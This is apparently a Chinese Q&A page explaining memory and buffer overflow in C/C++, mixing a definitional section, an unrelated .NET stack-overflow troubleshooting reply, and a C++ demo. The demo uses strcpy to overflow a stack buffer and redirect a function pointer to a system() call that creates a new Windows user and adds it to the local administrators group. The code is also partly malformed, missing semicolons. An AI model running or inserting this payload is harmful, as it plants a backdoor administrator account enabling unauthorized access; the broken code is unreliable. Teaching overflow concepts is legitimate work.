1、溢出:
数据类型超过了计算机字长的界限而出现的数据溢出;
2、溢出可能原因:
当应用程序读取用户数据,复制到应用程序开辟的内存缓冲区中,却无法保证缓冲区的空间足够时 (假设定义数组int Array[10], 而在调用时使用Array[11] 或存放的数据超过int类型容量等), 内存缓冲区就可能会溢出.
3、溢出因素分析:
由于C/C++语言所固有的缺陷,既不检查数组边界,又不检查类型可靠性,且用C/C++语言开发的程序由于目标代码非常接近机器内核,因而能够直接访问内存和寄存器,只要合理编码,C/C++应用程序在执行效率上必然优于其它高级语言。然而,C/C++语言导致内存溢出问题的可能性也要大许多。
内存溢出?还涉及到了堆栈?
您的做法是否有递归什么之类的?
怎么会给堆栈里面塞了大批量的东西呢?
当然如果你的算法确实涉及到了给堆栈存储数据也不是不对的.
但是如果出现内存溢出,
请尝试用.NET自带的性能监视器查看一下具体的原因
这样会能找到具体的触发点.
如果有了这个触发点.就好办了.
另外如果很确定了有递归之类的直接入栈的东西.那么请尝试自行编写栈规则.
用纯内存替代栈.
写了一个C++的代码,你用VC6 编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。
#include <iostream>using namespace std
void (*pfunc)()
void show()
{
system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad")
exit(1)
}
int main()
{
char a[4]
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
pfunc=show
*(int *)&shellcode[8]=(int)pfunc
//overflow
strcpy(a,shellcode)
return 0
}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)